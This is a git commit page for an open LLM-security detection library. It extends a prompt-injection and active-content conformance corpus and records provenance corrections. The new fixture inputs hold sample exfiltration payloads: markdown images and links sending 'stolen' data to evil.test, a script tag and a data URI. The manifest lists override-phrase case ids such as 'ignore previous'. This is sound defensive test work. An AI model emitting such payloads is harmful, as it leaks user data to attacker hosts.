open/llm-security
1
0
Fork 0
Code Issues Releases 1 Activity

Squashed 'scanners/commons/' changes from 0ffee85..532d70d

Browse source 
532d70d release(0.2.0): the contract gained a MUST, so the tag has to move
946f51d fix(active-content,conformance): cite line numbers per commit — they do not resolve at the pin
bdcb1f1 feat(conformance): ship the six active-content cases; the id space already existed
807c0d4 feat(spec): add not-applicable, so a single-runtime table stops reading as 7 defects
a1578e6 fix(conformance): record the guard's internal-surface position on _LEX_PAYLOADS
4d351d2 fix(mapping): state that three of four OWASP maps have no production consumer
f082a91 fix(lexicon,docs): retract the claim that the guard's port cites severity.mjs

git-subtree-dir: scanners/commons
git-subtree-split: 532d70d5ed2f9b23a8efad760ef490356cf52ada
This commit is contained in:
Kjell Tore Guttormsen 2026-08-11 13:02:33 +02:00
commit 9b95fc607e
20 changed files with 533 additions and 37 deletions
Download patch file Download diff file Expand all files Collapse all files

138
CHANGELOG.md
View file

@ -9,6 +9,139 @@ Versioning note: the repository tag versions **the contract** (file set, key nam
case ids, disposition semantics). Each JSON file additionally carries its own
`"version"` field, bumped when that file changes.
## [Unreleased]
## [0.2.0] — 2026-08-11
The contract gained a normative MUST, which is why this is a release rather than a
metadata commit: **a runtime that conformed to `v0.1.0` does not conform to this one until
it declares the set of commons data files it implements.** In 0.x that is a minor bump by
the rules, but it is breaking in substance, and a consumer reading only the version number
should learn that here rather than from a failing suite.
Everything below this heading was previously listed as unreleased.
### Retracted
- **The claim that the Python guard's port cites `severity.mjs` for hybrid severity.** It is
false. It was carried in three places — `lexicon/injection-lexicon.json`
(`families[hybrid].severity_provenance.not_from`), `docs/lexicon-port-divergence.md`
(§ *Severity: the 8 hybrid patterns*), and the `[0.1.0]` entry below — and it was never
measured here. It restated an assertion received from `llm-security` (coord message
`20260809T201048Z`) as a commons finding.
Measured against the guard's own tree, which `llm-ingestion-pipeline-security` asked for
twice before this was checked: `severity.mjs` has **never** appeared in
`src/llm_ingestion_guard/injection_lexicon.json` at any point in that file's history
(`git log -S` returns no commits), and at `0bf0729` — the commit
`conformance/manifest.json` pins — the only tree-wide occurrence is `docs/PLAN.md:114`,
correctly attributing the *report* module to `output.mjs` + `severity.mjs`. The guard's
only source statement for the lexicon is the `note` at `injection_lexicon.json:3`, and it
names `injection-patterns.mjs`.
**No detection data moves.** `families[hybrid].severity` is still `high`, still sourced to
`injection-patterns.mjs:274-281`, re-verified at `b0de0ca`; `severity.mjs` still contains
zero occurrences of `CRITICAL_PATTERNS`, `HIGH_PATTERNS`, `MEDIUM_PATTERNS` and
`HYBRID_PATTERNS`, re-measured the same day. Only the sentence about the *other* repository
falls.
The retraction is marked in place rather than edited away, and it is worth naming why this
one survived review: the claim arrived bundled with a correct measurement of the same
question, from a repository that had done its half properly. The correct half carried the
incorrect half past the check — which is precisely the defect
`severity_provenance.not_from` was written to warn about, one level up.
### Added
- **`not-applicable`, a third conformance verdict** (`spec/conformance-corpus.md` §1.1). A
runtime now declares the set of commons data files it implements; a case whose `scope`
names a file outside that set is `not-applicable` rather than failed. §1 alone would have
reported an architectural difference as a defect — one seeding runtime has no
active-content table and never will, and 7 permanent failures say nothing a reader can use.
The verdict is fenced so it cannot become an exit: it attaches to a **table**, never to a
case (per-case opt-out is the silent skip §1 forbids), a declared set MUST NOT be narrowed
to convert failures into `not-applicable`, and such cases MUST still be enumerated rather
than dropped from the denominator. §8 now states the consequence: a pass count is
unreadable without the declared set beside it.
- **Six active-content conformance cases** — `active__markdown-image`, `active__markdown-link`,
`active__reference-link`, `active__autolink`, `active__raw-html`, `active__data-uri`. The
corpus goes 83 → 89, and `scope_covered` gains `signatures/active-content.json`.
Generated from measurement, not written: payload strings were extracted from the seed
runtime's `coverage.py` by AST — evaluating each `_scan_case` argument in that module's own
namespace rather than retyping detection data — then run through its public output gate.
The fixtures were then re-read from disk by a separate checker that re-computed every
digest, re-scanned the bytes and applied `exact-within-scope` independently of the
generator, because a generator agreeing with itself proves nothing: 6 cases, 0 failed
checks.
**These six prove less than the 83, and the manifest says so.** Their payloads come from
the only runtime implementing the table, so no second implementation's agreement could be
measured. They pin one runtime's behaviour as a contract a future implementer can be held
to — which is less than cross-runtime agreement and more than nothing.
- `signatures/active-content.json` **0.1.0 → 0.2.0** — a `pattern_id_space` block. Unlike the
lexicon's, nothing was constructed: `label_format` and the `constructs` keys were already
extracted verbatim, and their concatenation *is* what the seed runtime emits. The block
states an id space the file already had implicitly, and records that it is ratified by
**one** runtime rather than two.
### Changed
- `lexicon/injection-lexicon.json` **0.5.0 → 0.5.1** — provenance metadata only; no pattern,
id, alias, family or severity value changes.
- `conformance/manifest.json` **0.1.1 → 0.2.0** — the six cases, `scope_covered`,
`count_by_scope`, separate provenance and measurement blocks for the active-content half
(a different source structure at a different commit; one pin must not stand for two
measurements), and `scope_planned.blockers`.
- **`spec/conformance-corpus.md` §4 no longer claims scoping "asks a question both can
answer."** That held only while every case was scoped to the one table both runtimes
implement, and stopped being true the moment a case was scoped to a single-runtime table.
Scope narrows *what* is compared; it does not make every runtime a valid addressee. The
superseded sentence is named in place rather than edited away.
### Fixed
- **§4 now states that "belongs to a data file" means published there, never "shares its
prefix."** The distinction has a live witness: the seed runtime emits `active:oversize-input`,
a self-safety flag about its own scan cap, which carries the `active:` prefix but is no
construct in `signatures/active-content.json`. A prefix-matching runtime would pull it into
the comparison and fail a case over a finding the corpus makes no claim about. Recorded in
that file under `pattern_id_space.not_every_active_label` as well.
- **§6 now states the derivation's cost.** `case_id` derives from `pattern_id` alone, so a
single-finding scope holds at most one case per pattern id — there is nowhere in the name
for a second. The seed runtime's matrix drives *two* payloads at `active:markdown-image`;
measured, their in-scope finding sets are identical, and the second's only distinguishing
signal (`entropy:base64-blob`) falls outside every table this repository publishes. It was
dropped rather than given a discriminated id, which would have broken the reverse
transform, and it is named in `conformance/manifest.json` under `omitted_payloads` so that
6 built from 7 offered reads as a decision rather than a miscount.
### Measured, not shipped
- **The remaining four cases are blocked on two distinct unresolved questions**, now recorded
under `scope_planned.blockers` instead of the earlier blanket "no runtime has agreed to an
id space". That framing was wrong for both:
- **Carriers (3).** No adoptable id space, and a second problem underneath. The guard emits
two *stage-coupled* labels for one carrier — `sanitize:zero-width` on input,
`output:zero-width-present` on output, same split for bidi and unicode-tag — while
llm-security emits prose titles. A commons id must be invented stage-neutral, which no
other id space here required. And since `exact-within-scope` compares a finding *set*, an
id aliasing both labels makes the verdict depend on which entry point the runtime was
measured through — an entry-point dependence the lexicon cases do not have.
- **Secret egress (1).** Not an id-naming question at all. The two runtimes carry
**different tables**: 18 entries here against the guard's 25, cut at different
granularities (this file's single `GitHub Token` is four ids there, `Private Key PEM
Block` three, `Database connection string` four), with membership diverging both ways.
`aws-access-key-id` is the one clean 1:1 — which is why exactly one egress case was ever
offered. That number was a symptom, not modesty. A shared id space presupposes a table
reconciliation nobody has done.
## [0.1.0] — 2026-08-10
Initial extraction. Runtime-neutral detection data, the finding contract, and a conformance
@ -224,6 +357,11 @@ mutation, not a weak fixture, and it is recorded as such rather than rounded up.
`severity_provenance.not_from` records the miss explicitly: a wrong citation to a right
value is the harder defect to catch later.
> **Correction 2026-08-10 (see Unreleased):** the two sentences about *the guard's* citation
> are false and were never measured here. The guard's port cites `injection-patterns.mjs`,
> the right file. Everything above about `severity.mjs` containing no injection-family
> severity, and about where the value actually lives, stands and has been re-measured.
`pattern_id_space.not_yet_confirmed` is replaced by `ratification`. Both seeding runtimes
agreed on 2026-08-09 — `llm-security` ratified the 0.2.0 proposal as-is and treats an id
change as breaking on the same terms, and the guard confirmed the space its own port

50
README.md
View file

@ -24,17 +24,17 @@ As a `git subtree` (recommended: history is preserved and upgrades are a single
```bash
git subtree add --prefix vendor/commons \
https://git.fromaitochitta.com/open/llm-security-commons.git v0.1.0 --squash
https://git.fromaitochitta.com/open/llm-security-commons.git v0.2.0 --squash
# later, to move to a newer tag
git subtree pull --prefix vendor/commons \
https://git.fromaitochitta.com/open/llm-security-commons.git v0.2.0 --squash
https://git.fromaitochitta.com/open/llm-security-commons.git <newer-tag> --squash
```
Or pin a tag and copy — `fork-and-own` is an explicitly supported path:
```bash
git clone --depth 1 --branch v0.1.0 \
git clone --depth 1 --branch v0.2.0 \
https://git.fromaitochitta.com/open/llm-security-commons.git
```
@ -59,15 +59,15 @@ and keeping it that small is the point.
| [`mapping/owasp-map.json`](mapping/owasp-map.json) | Finding-id prefix → OWASP taxonomy entry (LLM / ASI / AST / MCP). |
| [`schema/finding.schema.json`](schema/finding.schema.json) | **Normative.** The finding contract — closed against its producer, ten properties — plus the SARIF output profile. The JSONL profile is recorded as `not applicable`, with the reason. |
| [`spec/conformance-corpus.md`](spec/conformance-corpus.md) | **Normative.** How to read the corpus: what a case is, why `input.txt` is bytes rather than text, and what `exact-within-scope` requires of a runtime. |
| [`conformance/`](conformance/) | 83 cases, one per injection-lexicon pattern. One directory per case: `input.txt` in, `expected.json` out. Ground truth. Both seeding runtimes were measured producing the same verdict on all 83 — see [`conformance/manifest.json`](conformance/manifest.json). |
| `spec/decode-pipeline.md` | **Planned, not in v0.1.0.** The decode order, in RFC 2119 language. Two runtimes that decode in different orders will disagree on identical input. Writing it needs the decode implementation, which is engine code and has not been supplied — and a normative spec guessed from a data dump would be worse than an absent one. |
| [`conformance/`](conformance/) | 89 cases. One directory per case: `input.txt` in, `expected.json` out. Ground truth. 83 cover the injection lexicon, one per pattern, and both seeding runtimes were measured producing the same verdict on all 83. Six cover active content and are measured against the one runtime that implements that table — `not-applicable` for the other, not failing. See [`conformance/manifest.json`](conformance/manifest.json). |
| `spec/decode-pipeline.md` | **Planned, still not shipped as of v0.2.0.** The decode order, in RFC 2119 language. Two runtimes that decode in different orders will disagree on identical input. Writing it needs the decode implementation, which is engine code and has not been supplied — and a normative spec guessed from a data dump would be worse than an absent one. |
| [`docs/extraction-plan.md`](docs/extraction-plan.md) | Informative: where each file was seeded from, and what v0.1.0 promised. |
| [`docs/lexicon-port-divergence.md`](docs/lexicon-port-divergence.md) | Informative: a measured disagreement between two ports of the injection lexicon — 13 patterns that behave differently, in both directions, and why no data file was changed because of it. |
Every JSON file carries a top-level `version`. Every normative specification carries a
`Status: normative` marker. Rows marked **Planned** are named here because the layout is
part of the contract, but the file does not exist yet — they are not links, and nothing in
v0.1.0 depends on them.
v0.2.0 depends on them.
Each data file records its own provenance and, in `verified`, how strongly it is backed.
`calibration/calibration.json` is currently the one file that says `false`: it was
@ -88,12 +88,24 @@ in its own commit, with the reason written down.
There is **no CI in this organisation** and nothing runs that comparison automatically. It
runs in each consumer's own test suite, against a pinned tag.
The v0.1.0 corpus covers `lexicon/injection-lexicon.json`, the one table whose finding ids
are ratified by both seeding runtimes. Eleven further cases exist in a seed suite for the
carrier, active-content and secret-egress tables and are **not** shipped: naming a finding
in those tables would mean minting a cross-runtime id space no runtime has agreed to.
`conformance/manifest.json` names them under `scope_planned` so the gap is visible rather
than inferred.
The corpus covers two tables, and they do not carry equal weight — treating them as one
number would misreport both:
- `lexicon/injection-lexicon.json` — 83 cases. Both seeding runtimes implement it and both
ratified its id space.
- `signatures/active-content.json` — 6 cases. One runtime implements it. For a runtime that
does not, these cases are **`not-applicable`**, a third verdict beside pass and fail: a
runtime declares which commons data files it implements, and a case scoped outside that
set was never addressed to it. See [§1.1](spec/conformance-corpus.md) — and note that
`not-applicable` says the corpus did not ask, never that the runtime is blind.
Four cases remain unshipped, for the carrier and secret-egress tables, and neither is
blocked on effort. Carriers has no adoptable id space: one runtime labels the same carrier
differently depending on pipeline stage, which would make a case's verdict depend on the
entry point it was measured through. Secret egress is not an id question at all — the two
runtimes carry *different tables*, 18 entries against 25, cut at different granularities.
`conformance/manifest.json` records both blockers under `scope_planned.blockers`, measured,
so the gap is visible rather than inferred.
## Non-goals
@ -114,10 +126,18 @@ than inferred.
- **Coverage is the union of what the seed implementations detected**, not of what exists.
A class absent from the tables above has not been shown to work anywhere.
- **The corpus is narrower than the data.** `conformance/` constrains one of the seven data
files. The other six are published, provenance-checked and unfixtured: a runtime can
- **The corpus is narrower than the data.** `conformance/` constrains two of the seven data
files. The other five are published, provenance-checked and unfixtured: a runtime can
pass every case and still read `calibration.json` wrongly. Passing the corpus is evidence
about the injection lexicon and about nothing else.
about the injection lexicon and about active content, and about nothing else.
- **A pass count is unreadable without the declared table set.** A runtime implementing one
table and a runtime implementing four can print the same number. `not-applicable` cases
must be reported, not dropped from the denominator — `76/83` and `76 passed, 6
not-applicable` describe different runtimes.
- **The six active-content cases prove less than the 83.** Their payloads come from the only
runtime that implements the table, so no second implementation's agreement could be
measured. They pin one runtime's behaviour as a contract a future implementer can be held
to; they are not cross-runtime agreement.
- **Regex portability is a real risk.** Pattern data is written for a common subset, but
engines differ (lookbehind, named groups, Unicode property escapes). A consumer whose
engine rejects a pattern must report it rather than silently skip it — a skipped pattern

19
conformance/active__autolink/expected.json Normal file
View file

@ -0,0 +1,19 @@
{
"$comment": "Generated from a differential measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
"case_id": "active__autolink",
"input": {
"file": "input.txt",
"bytes": 44,
"sha256": "effb96b0d00c49dc20622dc4c3c76b969486383bda554ed4c166db1ad506fae5"
},
"scope": [
"signatures/active-content.json"
],
"match": "exact-within-scope",
"findings": [
{
"pattern_id": "active:autolink"
}
],
"observed_out_of_scope": {}
}

1
conformance/active__autolink/input.txt Normal file
View file

@ -0,0 +1 @@
contact <https://evil.test/collect?d=stolen>

23
conformance/active__data-uri/expected.json Normal file
View file

@ -0,0 +1,23 @@
{
"$comment": "Generated from a differential measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
"case_id": "active__data-uri",
"input": {
"file": "input.txt",
"bytes": 42,
"sha256": "e19699e84d06921aae81097ad4976867ea2fd1d19e8c75a37689e7eb89295440"
},
"scope": [
"signatures/active-content.json"
],
"match": "exact-within-scope",
"findings": [
{
"pattern_id": "active:data-uri"
}
],
"observed_out_of_scope": {
"llm_ingestion_guard": [
"data-uri:executable"
]
}
}

1
conformance/active__data-uri/input.txt Normal file
View file

@ -0,0 +1 @@
payload data:text/html;base64,PHN2Zz4= end

19
conformance/active__markdown-image/expected.json Normal file
View file

@ -0,0 +1,19 @@
{
"$comment": "Generated from a differential measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
"case_id": "active__markdown-image",
"input": {
"file": "input.txt",
"bytes": 42,
"sha256": "0c2e81798f37b962c1b75bb3b3d0862d29f2d7728718ebe1a5e314e93b603180"
},
"scope": [
"signatures/active-content.json"
],
"match": "exact-within-scope",
"findings": [
{
"pattern_id": "active:markdown-image"
}
],
"observed_out_of_scope": {}
}

1
conformance/active__markdown-image/input.txt Normal file
View file

@ -0,0 +1 @@
![chart](https://evil.test/exfil?d=stolen)

19
conformance/active__markdown-link/expected.json Normal file
View file

@ -0,0 +1,19 @@
{
"$comment": "Generated from a differential measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
"case_id": "active__markdown-link",
"input": {
"file": "input.txt",
"bytes": 46,
"sha256": "46fa07ed3032e9eb3f58935146e6e154e3284876e75347795bb2d2cf61068efe"
},
"scope": [
"signatures/active-content.json"
],
"match": "exact-within-scope",
"findings": [
{
"pattern_id": "active:markdown-link"
}
],
"observed_out_of_scope": {}
}

1
conformance/active__markdown-link/input.txt Normal file
View file

@ -0,0 +1 @@
see [here](https://evil.test/collect?d=stolen)

23
conformance/active__raw-html/expected.json Normal file
View file

@ -0,0 +1,23 @@
{
"$comment": "Generated from a differential measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
"case_id": "active__raw-html",
"input": {
"file": "input.txt",
"bytes": 24,
"sha256": "569e51d8bb3248bc3ececd96d95362d177fd71c2aa0eaefc4345b25fe6c6cec3"
},
"scope": [
"signatures/active-content.json"
],
"match": "exact-within-scope",
"findings": [
{
"pattern_id": "active:raw-html"
}
],
"observed_out_of_scope": {
"llm_ingestion_guard": [
"hybrid-xss:script-tag"
]
}
}

1
conformance/active__raw-html/input.txt Normal file
View file

@ -0,0 +1 @@
<script>steal()</script>

19
conformance/active__reference-link/expected.json Normal file
View file

@ -0,0 +1,19 @@
{
"$comment": "Generated from a differential measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
"case_id": "active__reference-link",
"input": {
"file": "input.txt",
"bytes": 41,
"sha256": "2f80e304dab5436a078642d2465f29772cef3a201fd6ff1f72b6bff0005d1e10"
},
"scope": [
"signatures/active-content.json"
],
"match": "exact-within-scope",
"findings": [
{
"pattern_id": "active:reference-link"
}
],
"observed_out_of_scope": {}
}

1
conformance/active__reference-link/input.txt Normal file
View file

@ -0,0 +1 @@
[ref]: https://evil.test/collect?d=stolen

92
conformance/manifest.json
View file

@ -1,34 +1,52 @@
{
"version": "0.1.0",
"version": "0.2.0",
"id": "llm-security-commons/conformance",
"description": "Enumeration and measurement header for the conformance corpus. Every case directory holds input.txt (the exact bytes to scan) and expected.json (the findings a conforming runtime must produce). The normative reading of those files is spec/conformance-corpus.md; this file records where the cases came from and what was measured.",
"$comment": "Fixture files carry no individual version field. The corpus is versioned as a whole, here — a case is added, removed or corrected by bumping this version, and a case-id change is a MAJOR bump because consumers name cases.",
"case_id_derivation": {
"rule": "case_id = pattern_id with ':' replaced by '__'",
"reverse": "pattern_id = case_id with '__' replaced by ':'",
"why": "':' is not a legal filename character on Windows, and this repository is fork-and-own. '__' does not occur in the ratified id space, so the transform is one-to-one — verified collision-free across all 83.",
"stability": "A case id is a stable identifier. Changing one is a BREAKING change."
"why": "':' is not a legal filename character on Windows, and this repository is fork-and-own. '__' does not occur in the ratified id space, so the transform is one-to-one — verified collision-free across all 89.",
"stability": "A case id is a stable identifier. Changing one is a BREAKING change.",
"one_case_per_pattern_id": "The derivation takes a pattern id and nothing else, so a single-finding scope holds at most one case per pattern id — there is nowhere in the name to put a second. See spec/conformance-corpus.md section 6, and `omitted_payloads` below for the one payload this actually cost."
},
"match_semantics": "exact-within-scope",
"scope_covered": [
"lexicon/injection-lexicon.json"
"lexicon/injection-lexicon.json",
"signatures/active-content.json"
],
"scope_covered_note": "The two entries do NOT have equal standing, and averaging them would misreport both. `lexicon/injection-lexicon.json` is implemented by both seeding runtimes and its id space is ratified by both. `signatures/active-content.json` is implemented by one; its cases are `not-applicable` for the other under spec/conformance-corpus.md section 1.1, not failures. See that file's `pattern_id_space.single_runtime`.",
"scope_planned": {
"$comment": "Named rather than faked. The guard's coverage matrix holds 11 further convertible cases (3 carrier, 7 active-content, 1 secret-egress), but the lexicon is the only table whose finding id space is ratified by both seeding runtimes. Fixtures for the others would mint a cross-runtime contract this repository has no agreement for, so they wait for one.",
"$comment": "Named rather than faked. Four convertible cases remain in the guard's coverage matrix (3 carrier, 1 secret-egress), and neither table is blocked on effort — each is blocked on a distinct unresolved question, measured 2026-08-10 and recorded below rather than left as 'no agreement yet'.",
"codepoints/carriers.json": 3,
"signatures/active-content.json": 7,
"signatures/secret-egress.json": 1
"signatures/secret-egress.json": 1,
"blockers": {
"codepoints/carriers.json": "No adoptable id space, and a second problem underneath it. The guard emits TWO stage-coupled labels for the same carrier depending on pipeline position — `sanitize:zero-width` (input) versus `output:zero-width-present` (output), and the same split for bidi and unicode-tag; llm-security emits prose titles (unicode-scanner.mjs:191,236). A commons id would therefore have to be invented stage-neutral, which no other id space here required. And because `exact-within-scope` compares a finding SET, a commons id aliasing both guard labels would make the verdict depend on which entry point the runtime was measured through — an entry-point dependence the lexicon cases do not have, since this manifest pins entry point as a measurement fact rather than as contract.",
"signatures/secret-egress.json": "Not an id-naming question at all. The two runtimes carry DIFFERENT TABLES, not two namings of one: this file holds 18 entries from llm-security, the guard's `_SECRET_PATTERNS` (output.py) holds 25 at different cut points — this file's single `GitHub Token` is four ids there, `Private Key PEM Block` is three, `Database connection string` is four — and membership diverges both ways (the guard has `gcp-service-account-json` and `openai-api-key-legacy`, which are absent here; this file has `Slack/Discord Webhook URL` and `Azure AI Services Key`, which are absent there). `aws-access-key-id` is the one clean one-to-one, which is why exactly one egress case was ever offered. A shared id space presupposes a table reconciliation that has not happened."
}
},
"omitted_payloads": [
{
"source": "llm-ingestion-pipeline-security src/llm_ingestion_guard/coverage.py:484, at commit de09711 (line numbers are commit-relative; the structure is the fifth `_scan_case` of `_build_cases()`'s `active` group)",
"described_as": "opaque (base64) path segment",
"expected_label": "active:markdown-image",
"reason": "Its in-scope finding set is `[active:markdown-image]` — identical, measured, to the case built from coverage.py:476. The only thing that distinguishes it is `entropy:base64-blob`, and this repository publishes no entropy table, so the difference falls outside every declared scope. A second case could not have failed in any way the first does not, and the case-id derivation has no room for it (see `case_id_derivation.one_case_per_pattern_id`).",
"$comment": "Recorded so that 6 built from 7 offered reads as a decision rather than as a miscount."
}
],
"payload_provenance": {
"$scope": "The 83 lexicon cases. The 6 active-content cases have their own provenance in `active_content_provenance` below — they come from a different structure in the same file, at a different commit, and folding them in here would let one pin stand for two measurements.",
"source_repo": "llm-ingestion-pipeline-security",
"source_file": "src/llm_ingestion_guard/coverage.py",
"source_export": "_LEX_PAYLOADS",
"source_commit": "0bf07295c2191d5061537834abf22929f7d50826",
"source_version": "0.3.4",
"$comment": "The inputs were authored by one of the two runtimes, as one payload per pattern id, and are reproduced verbatim. That asymmetry is stated rather than averaged away: what makes them usable as a cross-runtime corpus is not their origin but the measurement below, which ran them through the other runtime as well and found the same lexicon verdict on every one.",
"id_set_check": "The 83 payload keys and the 83 commons pattern ids are the same set — compared, not assumed."
"id_set_check": "The 83 payload keys and the 83 commons pattern ids are the same set — compared, not assumed.",
"stability_note": "llm-ingestion-pipeline-security states (coord message 2026-08-10T12:42:31Z) that _LEX_PAYLOADS and the 83 pattern ids are an internal surface on their side, with no README/CHANGELOG/docs statement promising id or payload stability - their own test suite enforces id coverage as their gate, not as a promise to this repository. Their stated position: if a payload changes upstream, this manifest's pin diverges and should be re-pinned; divergence is a re-pin signal, not a breach of a contract they never granted."
},
"measurement": {
"$scope": "The 83 lexicon cases. The 6 active-content cases are measured in `active_content_measurement`.",
"date": "2026-08-10",
"method": "Each payload was run through both runtimes' PUBLIC entry point — not through a rebuilt regex table — and the resulting finding labels were mapped to commons pattern ids through the lexicon's own aliases block. Comparing at the entry point is deliberate: a table-level comparison produces a number that describes neither runtime.",
"runtimes": [
@ -65,7 +83,55 @@
"see": "docs/lexicon-port-divergence.md"
}
},
"count": 83,
"active_content_provenance": {
"source_repo": "llm-ingestion-pipeline-security",
"source_file": "src/llm_ingestion_guard/coverage.py",
"source_structure": "the `active` group of `_build_cases()` — seven `_scan_case(...)` call sites, coverage.py:476-488",
"source_commit": "de09711",
"source_version": "0.4.0",
"extraction_method": "The payload strings were located by parsing coverage.py's AST for `_scan_case` calls whose first argument is `\"active\"`, and each payload expression was evaluated against that module's own namespace (which supplies the base64 constant one of them embeds). Retyping them here would have been the from-memory failure this repository forbids for detection data.",
"$comment": "A different structure and a different commit from `payload_provenance` above, which covers the 83 lexicon cases. Six of the seven extracted payloads became cases; the seventh is in `omitted_payloads` with its measured reason.",
"asymmetry": "These payloads were authored by the only runtime that implements the table they test, so unlike the lexicon corpus there is no second runtime whose agreement could be measured. That is a real limit on what these six cases prove, and it is stated rather than averaged away: they pin one runtime's behaviour as a contract a future implementer can be held to, which is less than the lexicon cases prove and more than nothing."
},
"active_content_measurement": {
"date": "2026-08-10",
"method": "Each payload was run through the guard's PUBLIC output gate — the same entry point the 83 lexicon cases were measured through, so the two halves of the corpus are comparable. Findings were split into in-scope and residue by MEMBERSHIP in signatures/active-content.json's published `pattern_id_space.ids`, not by the `active:` prefix (see spec/conformance-corpus.md section 4).",
"verification": "The generated fixtures were then re-read from disk by a separate checker that re-computed each digest, re-scanned the bytes, and applied `exact-within-scope` independently of the generator — a generator agreeing with itself proves nothing. 6 cases, 0 failed checks.",
"runtimes": [
{
"name": "llm_ingestion_guard",
"repo": "llm-ingestion-pipeline-security",
"commit": "de09711",
"version": "0.4.0",
"entry_point": "scan_output(text, source=Source.OUTPUT)",
"engine": "CPython 3.14.0",
"measurement_limit": "Findings outside signatures/active-content.json that this gate raised are recorded per case in observed_out_of_scope as informative evidence, never as expectation. Two of the six carry such residue, and in both it is a lexicon id."
},
{
"name": "llm_security",
"repo": "ssh://git@git.fromaitochitta.com/open/llm-security.git",
"commit": "b0de0ca6d86ce697f39669d177c2c2654c280128",
"status": "not-applicable",
"status_basis": "This runtime does not implement signatures/active-content.json, so under spec/conformance-corpus.md section 1.1 these six cases are `not-applicable` there — neither passes nor failures. It was NOT run against them; a measurement whose verdict the spec defines as inapplicable would produce a number that means nothing.",
"absence_evidence": "Measured at b0de0ca, not assumed. A case-insensitive tree-wide search for an active-content detector, class table or emitted `active:` label returns no implementation — only prose in `knowledge/` and an entropy-scanner test mentioning the markdown-image construct. `git log -S 'active_content'` and `git log -S 'active:markdown'` over `--all` return zero commits, closing the 'it was there once' reading.",
"not_a_coverage_claim": "Absent table is not absent capability: this runtime's entropy scanner reaches markdown-image URLs by a different route (host- and query-aware). What is measured absent is the table, which is all `not-applicable` asserts."
}
],
"results": {
"payloads_extracted": 7,
"cases_built": 6,
"payloads_omitted": 1,
"cases_verified_independently": 6,
"failed_checks": 0,
"cases_with_out_of_scope_residue_in_the_guard": 2
},
"guard_drift_note": "The guard's HEAD moved twice during this measurement (3c56d50 -> de09711 -> 398eb74). Measurement ran at de09711. Checked rather than hoped: 398eb74 touches only docs/PLAN-v1.md and tests/test_disposition.py, so no measured file changed under the measurement. active_content.py DID change between 0bf0729 — the commit signatures/active-content.json pins — and de09711; the change adds a scan-cap self-safety finding and touches no construct. See that file's `pattern_id_space.verified.at_commit_note`."
},
"count": 89,
"count_by_scope": {
"lexicon/injection-lexicon.json": 83,
"signatures/active-content.json": 6
},
"cases": [
"override__ignore-previous",
"override__forget-instructions",
@ -149,6 +215,12 @@
"hybrid-xss__script-tag",
"hybrid-xss__javascript-uri",
"hybrid-xss__event-handler",
"hybrid-xss__iframe-src"
"hybrid-xss__iframe-src",
"active__markdown-image",
"active__markdown-link",
"active__reference-link",
"active__autolink",
"active__raw-html",
"active__data-uri"
]
}

29
docs/lexicon-port-divergence.md
View file

@ -166,12 +166,29 @@ differences in the table above are closed.
The part worth keeping is where the value lives. It is not a field. The engine assigns it by
pushing `HYBRID_PATTERNS` matches straight into the `high` bucket at
`injection-patterns.mjs:274-281`. The guard's port cites `severity.mjs` — a file that
contains **no injection-family severity at all**. So the guard held the right value behind a
citation that leads nowhere, and a reviewer following that citation to check the number would
have found nothing and drawn no conclusion. Refusing to copy it was the right call for a
reason better than the one given at the time: not merely that a port is second-hand, but that
this particular port could not have read what it claimed to.
`injection-patterns.mjs:274-281`. `severity.mjs` contains **no injection-family severity at
all** — re-measured 2026-08-10 at `b0de0ca`: `CRITICAL_PATTERNS`, `HIGH_PATTERNS`,
`MEDIUM_PATTERNS` and `HYBRID_PATTERNS` appear there zero times.
~~**The guard's port cites `severity.mjs`.** So the guard held the right value behind a
citation that leads nowhere, and refusing to copy it was right for a better reason than the
one given at the time: this particular port could not have read what it claimed to.~~
**Retracted 2026-08-10. The guard's port cites the right file.** This paragraph was never
measured here; it restated an assertion received from `llm-security`
(`20260809T201048Z`: *"Guardens port satte riktig verdi, men kunne ikke ha lest den fra fila
den oppgir"*) as a commons finding. Measured against the guard's own tree: `severity.mjs`
has **never** appeared in `src/llm_ingestion_guard/injection_lexicon.json` at any point in
that file's history (`git log -S` returns no commits), and at `0bf0729` — the commit
`conformance/manifest.json` pins — the only tree-wide occurrence is `docs/PLAN.md:114`,
correctly attributing the *report* module to `output.mjs` + `severity.mjs`. The guard's only
source statement for the lexicon is the `note` at `injection_lexicon.json:3`, and it names
`injection-patterns.mjs`.
Refusing to copy the value was still the right call — but for the plain reason, that a port
is second-hand evidence, not for the sharper one claimed above. The sharper reason was itself
a wrong citation to a right value, which is the defect this section was written to warn
about. It survived here because it arrived from a repository that had measured the *other*
half of the claim correctly, and the correct half carried the incorrect half past review.
## What this does not show

5
lexicon/injection-lexicon.json
View file

@ -1,5 +1,5 @@
{
"version": "0.5.0",
"version": "0.5.1",
"id": "injection-lexicon",
"description": "Prompt-injection pattern lexicon: the four pattern families a detector matches against untrusted text, and the severity family each belongs to. Data only. The variant building that feeds these patterns (normalisation, homoglyph folding, rot13, unicode-tag escalation) and the buried-payload heuristic are engine behaviour and are deliberately NOT described here.",
"owasp": "LLM01",
@ -894,7 +894,8 @@
"source_lines": "274-281",
"source_commit": "b0de0ca6d86ce697f39669d177c2c2654c280128",
"verified": "directly, by reading the module at the pinned commit",
"not_from": "scanners/lib/severity.mjs, which was the first file asked about and which contains no injection-family severity at all - grep for CRITICAL_PATTERNS, HIGH_PATTERNS, MEDIUM_PATTERNS or HYBRID_PATTERNS there returns nothing. The Python guard's port carries the correct value but cites that file, so a consumer following its citation would find no answer. Recorded because a wrong citation to a right value is the harder defect to notice."
"not_from": "scanners/lib/severity.mjs, which was the first file asked about and which contains no injection-family severity at all - grep for CRITICAL_PATTERNS, HIGH_PATTERNS, MEDIUM_PATTERNS or HYBRID_PATTERNS there returns nothing at the pinned commit. That part stands and was re-measured 2026-08-10.",
